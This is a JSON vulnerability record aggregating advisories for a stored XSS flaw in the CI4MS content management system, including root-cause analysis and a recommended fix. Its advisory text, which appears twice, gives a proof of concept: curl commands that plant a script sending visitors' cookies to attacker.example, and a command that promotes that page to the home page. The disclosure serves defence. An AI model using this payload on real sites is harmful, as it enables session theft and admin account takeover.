{"id":"CVE-2026-45270","aliases":["EUVD-2026-45951","GHSA-gqr2-7hcg-rchf"],"status":"published","title":"CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule","description":"CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo-\u003econtent` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site. Version 0.31.9.0 patches the issue.","severity":{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00262,"percentile":0.18092,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-05-18T16:23:34Z","modified":"2026-10-28T02:30:56Z","fixes":[{"ecosystem":"Packagist","package":"ci4-cms-erp/ci4ms","fixed_in":["0.31.9.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"ci4-cms-erp/ci4ms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.31.8.0"},{"fixed":"0.31.9.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"ci4-cms-erp/ci4ms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.31.9.0"}]}],"versions":["0.21.0","0.21.1","0.21.2","0.21.3","0.21.3.1","0.21.3.2","0.21.3.3","0.21.3.4","0.21.3.5","0.21.3.6","0.21.3.7","0.23.0.0","0.23.0.1","0.23.0.2","0.23.1.0","0.24.0.0","0.24.0.16","0.24.0.18","0.24.0.19","0.24.0.20","0.24.0.27","0.24.0.42","0.24.0.45","0.24.0.60","0.25.0.0","0.25.0.1","0.25.0.2","0.25.0.30","0.25.0.39","0.25.0.43","0.25.1.0","0.25.2.0","0.25.3.0","0.26.0.0","0.26.1.0","0.26.2.0","0.26.3.0","0.26.3.1","0.26.3.2","0.26.3.3","0.26.3.4","0.27.0.0","0.28.0.0","0.28.3.0","0.28.4.0","0.28.5.0","0.28.6.0","0.31.0.0","0.31.1.0","0.31.2.0","0.31.3.0","0.31.4.0","0.31.5.0","0.31.6.0","0.31.7.0","0.31.8.0","0.31.9"]}],"products":[{"vendor":"ci4-cms-erp","product":"ci4ms"}],"references":[{"url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gqr2-7hcg-rchf","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-gqr2-7hcg-rchf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45270.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45270","tags":["advisory"]},{"url":"https://github.com/ci4-cms-erp/ci4ms","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45270","title":"CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule","description":"CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo-\u003econtent` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site. Version 0.31.9.0 patches the issue.","status":"published","published":"2026-07-20T14:12:13.093Z","modified":"2026-07-20T15:11:27.452Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:46:32.755125Z"}],"euvd":[{"id":"EUVD-2026-45951","description":"CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo-\u003econtent` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site. Version 0.31.9.0 patches the issue.","status":"published","published":"2026-07-20T14:12:13Z","modified":"2026-07-20T15:11:27Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T18:19:49.035342Z"}],"ghsa":[{"id":"GHSA-gqr2-7hcg-rchf","title":"CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule","description":"## Summary\n\nThe `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo-\u003econtent` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site.\n\n## Details\n\nThis is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The `html_purify` custom rule (`modules/Backend/Validation/CustomRules.php:54`) mutates its first argument by reference:\n\n```php\npublic function html_purify(?string \u0026$str = null, ?string \u0026$error = null): bool\n{\n    ...\n    $clean = self::sanitizeHtml($str);\n    $str = $clean;\n    self::$cleanCache[md5((string)$str)] = $clean;\n    return true;\n}\n```\n\nCodeIgniter 4's `Validation::processRules()` (`vendor/codeigniter4/framework/system/Validation/Validation.php:344`) invokes the rule as `$set-\u003e{$rule}($value, $error)` where `$value` is a local copy populated from request data. Even though the rule signature accepts `$str` by reference, the mutation only updates the local `$value` inside `processRules()`; the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call `CustomRules::getClean(...)` after validation — but no controller in the codebase does so.\n\nPages controller — `modules/Pages/Controllers/Pages.php`:\n\n- `Pages::create()` registers the rule at line 82:\n  ```php\n  'lang.*.content' =\u003e ['label' =\u003e lang('Backend.content'), 'rules' =\u003e 'required|html_purify'],\n  ```\n  Then at lines 102–113 it reads the raw POST and inserts it untouched:\n  ```php\n  $langsData = $this-\u003erequest-\u003egetPost('lang') ?? [];\n  ...\n  $this-\u003ecommonModel-\u003ecreate('pages_langs', [\n      ...\n      'content' =\u003e $lData['content'],   // line 111 — RAW\n      ...\n  ]);\n  ```\n- `Pages::update()` mirrors the same pattern at lines 130 and 157:\n  ```php\n  'lang.*.content' =\u003e ['label' =\u003e lang('Backend.content'), 'rules' =\u003e 'required|html_purify'],   // line 130\n  ...\n  'content' =\u003e $lData['content'],   // line 157 — RAW\n  ```\n\nThe row lands in `pages_langs.content`, which is then read by the public-facing `Home::index()` controller (`app/Controllers/Home.php:31-76`) and emitted by the template at `app/Views/templates/default/pages.php:32`:\n\n```php\n\u003cdiv id=\"ci4ms-content\"\u003e\n    \u003c?php echo $pageInfo-\u003econtent ?\u003e     // no esc(), raw HTML output\n\u003c/div\u003e\n```\n\n`CommonLibrary::parseInTextFunctions()` (`app/Libraries/CommonLibrary.php:45`) is called on `$pageInfo-\u003econtent` first, but only handles `{{form=...}}` / `{...|...}` shortcode-style replacement — it does no HTML sanitization.\n\nThis is distinct from the Blog finding:\n- Different module/controller (`Modules\\Pages\\Controllers\\Pages` vs `Modules\\Blog\\Controllers\\Blog`)\n- Different table (`pages_langs.content` vs `blog_langs.content`)\n- Different view file (`templates/{theme}/pages.php` vs `templates/{theme}/blog/post.php`)\n- Different route (`/\u003cseflink\u003e` matched by `Home::index` vs `/blog/\u003cseflink\u003e`)\n- Pages can be promoted to the site home page via `Pages::setHomePage` (`modules/Pages/Controllers/Pages.php:206`), broadening blast radius beyond a single slug to every visitor of `/`.\n\nRoutes are confirmed protected by `backendGuard` for authentication (`modules/Pages/Config/PagesConfig.php:12-17`) and require `pages.create` / `pages.update` Shield permissions (`modules/Pages/Config/Routes.php:4-5`).\n\n## PoC\n\nPrerequisite: an account with the `pages.create` (or `pages.update`) permission. In ci4ms this is a non-admin content-author role.\n\nStep 1 — log in to backend, capture cookies:\n```bash\ncurl -k -c cookies.txt -b cookies.txt -X POST https://target/login \\\n  -d 'email=author@example.com' -d 'password=AuthorPass1!'\n```\n\nStep 2 — create a page with a malicious `content` payload:\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/create \\\n  -d 'lang[en][title]=POC' \\\n  -d 'lang[en][seflink]=poc-page-xss' \\\n  -d 'lang[en][content]=\u003cscript\u003efetch(\"https://attacker.example/?c=\"+encodeURIComponent(document.cookie))\u003c/script\u003e' \\\n  -d 'isActive=1'\n```\n\nExpected: redirect to `/backend/pages/1` with `lang('Backend.created')` flashdata. The DB row `pages_langs.content` contains the literal `\u003cscript\u003e...\u003c/script\u003e` payload.\n\nStep 3 — trigger the XSS by visiting the public URL:\n```\nhttps://target/poc-page-xss\n```\n\n`Home::index()` selects the row, `pages.php:32` emits the raw `\u003cscript\u003e` tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to `attacker.example`, enabling full account takeover.\n\nStep 4 — broaden blast radius (optional, requires `pages.update`):\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/\u003cpage_id\u003e \\\n  -H 'X-Requested-With: XMLHttpRequest'\n```\n\nAfter this, the malicious page is served at `/` to every visitor, including unauthenticated visitors and admins navigating to the front-end.\n\n## Impact\n\n- **Stored XSS in public-facing site:** any visitor to a malicious page slug — or to `/` if the page is set as home — executes the attacker's JavaScript.\n- **Admin account takeover:** an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire `/backend/*` surface (full CMS administration, user management, file editor, backups, theme upload).\n- **Privilege escalation:** the attacker only needs `pages.create` (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for **S:C** in the CVSS vector.\n- **Persistence and broad reach:** the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.\n\n## Recommended Fix\n\nStop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing `sanitizeHtml` / `getClean` helper explicitly when persisting the content. In `modules/Pages/Controllers/Pages.php`:\n\n```php\nuse Modules\\Backend\\Validation\\CustomRules;\n\n// Pages::create() — replace line 111\n$this-\u003ecommonModel-\u003ecreate('pages_langs', [\n    'pages_id' =\u003e $insertID,\n    'lang'     =\u003e $langCode,\n    'title'    =\u003e strip_tags(trim($lData['title'])),\n    'seflink'  =\u003e strip_tags(trim($lData['seflink'])),\n    'content'  =\u003e CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),\n    'seo'      =\u003e $seoData\n]);\n\n// Pages::update() — replace line 157\n$langUpdate = [\n    'title'   =\u003e strip_tags(trim($lData['title'])),\n    'seflink' =\u003e strip_tags(trim($lData['seflink'])),\n    'content' =\u003e CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),\n    'seo'     =\u003e $seoData\n];\n```\n\nApply the same pattern in every other module that uses `html_purify` (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the `html_purify` rule to operate on `$data` so the validator stores the sanitized result via `getValidated()` rather than relying on a reference mutation that the framework discards.","status":"published","published":"2026-05-18T16:23:34Z","modified":"2026-05-18T16:23:35Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:40:11.298154Z"}],"nvd":[{"id":"CVE-2026-45270","description":"CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo-\u003econtent` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site. Version 0.31.9.0 patches the issue.","status":"published","published":"2026-07-20T15:16:38.163Z","modified":"2026-10-24T20:10:00.137Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:31.024898Z"}],"osv":[{"id":"CVE-2026-45270","title":"CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule","description":"CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo-\u003econtent` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site. Version 0.31.9.0 patches the issue.","status":"published","published":"2026-07-20T14:12:13.093Z","modified":"2026-10-28T02:30:56.134905136Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"GHSA-gqr2-7hcg-rchf","title":"CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule","description":"## Summary\n\nThe `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo-\u003econtent` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site.\n\n## Details\n\nThis is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The `html_purify` custom rule (`modules/Backend/Validation/CustomRules.php:54`) mutates its first argument by reference:\n\n```php\npublic function html_purify(?string \u0026$str = null, ?string \u0026$error = null): bool\n{\n    ...\n    $clean = self::sanitizeHtml($str);\n    $str = $clean;\n    self::$cleanCache[md5((string)$str)] = $clean;\n    return true;\n}\n```\n\nCodeIgniter 4's `Validation::processRules()` (`vendor/codeigniter4/framework/system/Validation/Validation.php:344`) invokes the rule as `$set-\u003e{$rule}($value, $error)` where `$value` is a local copy populated from request data. Even though the rule signature accepts `$str` by reference, the mutation only updates the local `$value` inside `processRules()`; the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call `CustomRules::getClean(...)` after validation — but no controller in the codebase does so.\n\nPages controller — `modules/Pages/Controllers/Pages.php`:\n\n- `Pages::create()` registers the rule at line 82:\n  ```php\n  'lang.*.content' =\u003e ['label' =\u003e lang('Backend.content'), 'rules' =\u003e 'required|html_purify'],\n  ```\n  Then at lines 102–113 it reads the raw POST and inserts it untouched:\n  ```php\n  $langsData = $this-\u003erequest-\u003egetPost('lang') ?? [];\n  ...\n  $this-\u003ecommonModel-\u003ecreate('pages_langs', [\n      ...\n      'content' =\u003e $lData['content'],   // line 111 — RAW\n      ...\n  ]);\n  ```\n- `Pages::update()` mirrors the same pattern at lines 130 and 157:\n  ```php\n  'lang.*.content' =\u003e ['label' =\u003e lang('Backend.content'), 'rules' =\u003e 'required|html_purify'],   // line 130\n  ...\n  'content' =\u003e $lData['content'],   // line 157 — RAW\n  ```\n\nThe row lands in `pages_langs.content`, which is then read by the public-facing `Home::index()` controller (`app/Controllers/Home.php:31-76`) and emitted by the template at `app/Views/templates/default/pages.php:32`:\n\n```php\n\u003cdiv id=\"ci4ms-content\"\u003e\n    \u003c?php echo $pageInfo-\u003econtent ?\u003e     // no esc(), raw HTML output\n\u003c/div\u003e\n```\n\n`CommonLibrary::parseInTextFunctions()` (`app/Libraries/CommonLibrary.php:45`) is called on `$pageInfo-\u003econtent` first, but only handles `{{form=...}}` / `{...|...}` shortcode-style replacement — it does no HTML sanitization.\n\nThis is distinct from the Blog finding:\n- Different module/controller (`Modules\\Pages\\Controllers\\Pages` vs `Modules\\Blog\\Controllers\\Blog`)\n- Different table (`pages_langs.content` vs `blog_langs.content`)\n- Different view file (`templates/{theme}/pages.php` vs `templates/{theme}/blog/post.php`)\n- Different route (`/\u003cseflink\u003e` matched by `Home::index` vs `/blog/\u003cseflink\u003e`)\n- Pages can be promoted to the site home page via `Pages::setHomePage` (`modules/Pages/Controllers/Pages.php:206`), broadening blast radius beyond a single slug to every visitor of `/`.\n\nRoutes are confirmed protected by `backendGuard` for authentication (`modules/Pages/Config/PagesConfig.php:12-17`) and require `pages.create` / `pages.update` Shield permissions (`modules/Pages/Config/Routes.php:4-5`).\n\n## PoC\n\nPrerequisite: an account with the `pages.create` (or `pages.update`) permission. In ci4ms this is a non-admin content-author role.\n\nStep 1 — log in to backend, capture cookies:\n```bash\ncurl -k -c cookies.txt -b cookies.txt -X POST https://target/login \\\n  -d 'email=author@example.com' -d 'password=AuthorPass1!'\n```\n\nStep 2 — create a page with a malicious `content` payload:\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/create \\\n  -d 'lang[en][title]=POC' \\\n  -d 'lang[en][seflink]=poc-page-xss' \\\n  -d 'lang[en][content]=\u003cscript\u003efetch(\"https://attacker.example/?c=\"+encodeURIComponent(document.cookie))\u003c/script\u003e' \\\n  -d 'isActive=1'\n```\n\nExpected: redirect to `/backend/pages/1` with `lang('Backend.created')` flashdata. The DB row `pages_langs.content` contains the literal `\u003cscript\u003e...\u003c/script\u003e` payload.\n\nStep 3 — trigger the XSS by visiting the public URL:\n```\nhttps://target/poc-page-xss\n```\n\n`Home::index()` selects the row, `pages.php:32` emits the raw `\u003cscript\u003e` tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to `attacker.example`, enabling full account takeover.\n\nStep 4 — broaden blast radius (optional, requires `pages.update`):\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/\u003cpage_id\u003e \\\n  -H 'X-Requested-With: XMLHttpRequest'\n```\n\nAfter this, the malicious page is served at `/` to every visitor, including unauthenticated visitors and admins navigating to the front-end.\n\n## Impact\n\n- **Stored XSS in public-facing site:** any visitor to a malicious page slug — or to `/` if the page is set as home — executes the attacker's JavaScript.\n- **Admin account takeover:** an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire `/backend/*` surface (full CMS administration, user management, file editor, backups, theme upload).\n- **Privilege escalation:** the attacker only needs `pages.create` (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for **S:C** in the CVSS vector.\n- **Persistence and broad reach:** the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.\n\n## Recommended Fix\n\nStop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing `sanitizeHtml` / `getClean` helper explicitly when persisting the content. In `modules/Pages/Controllers/Pages.php`:\n\n```php\nuse Modules\\Backend\\Validation\\CustomRules;\n\n// Pages::create() — replace line 111\n$this-\u003ecommonModel-\u003ecreate('pages_langs', [\n    'pages_id' =\u003e $insertID,\n    'lang'     =\u003e $langCode,\n    'title'    =\u003e strip_tags(trim($lData['title'])),\n    'seflink'  =\u003e strip_tags(trim($lData['seflink'])),\n    'content'  =\u003e CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),\n    'seo'      =\u003e $seoData\n]);\n\n// Pages::update() — replace line 157\n$langUpdate = [\n    'title'   =\u003e strip_tags(trim($lData['title'])),\n    'seflink' =\u003e strip_tags(trim($lData['seflink'])),\n    'content' =\u003e CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),\n    'seo'     =\u003e $seoData\n];\n```\n\nApply the same pattern in every other module that uses `html_purify` (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the `html_purify` rule to operate on `$data` so the validator stores the sanitized result via `getValidated()` rather than relying on a reference mutation that the framework discards.","status":"published","published":"2026-05-18T16:23:34Z","modified":"2026-05-18T16:41:25.864347Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:48.191583Z"}]}}
